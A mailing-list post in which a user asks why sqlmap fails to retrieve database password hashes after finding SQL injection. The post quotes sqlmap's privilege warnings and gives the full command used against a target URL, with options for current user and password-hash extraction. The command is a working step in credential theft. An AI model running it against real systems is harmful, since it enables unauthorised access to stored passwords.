[sqlmap-users] unable to fench password with sqlmap

[Sabin R. <thi...@gm...>]

hi,
I have sql injection, i can get the current user with the --current-user
command but when i option for password then sqlmap couldnt do it. it says:

[WARNING] in case of continuous data retrieval problems you are advised to
try a switch '--no-cast' or switch '--hex'
[05:13:51] [WARNING] unable to retrieve the number of password hashes for
user 'busroute'
[05:13:51] [ERROR] unable to retrieve the password hashes for the database
users (most probably because the session user has no read privileges over
the relevant system database table)
[05:13:51] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 3 times

Is this the usual way to mitigate the sqli risk. or this is the sqlmap
error that needs to be option in.
the used following command:
#sqlmap -u http://example.com/br/create?key=1 --dbms="MySQL" --risk=3
level=3 -p key --current-user --password --technique=B

thanks

kind regards,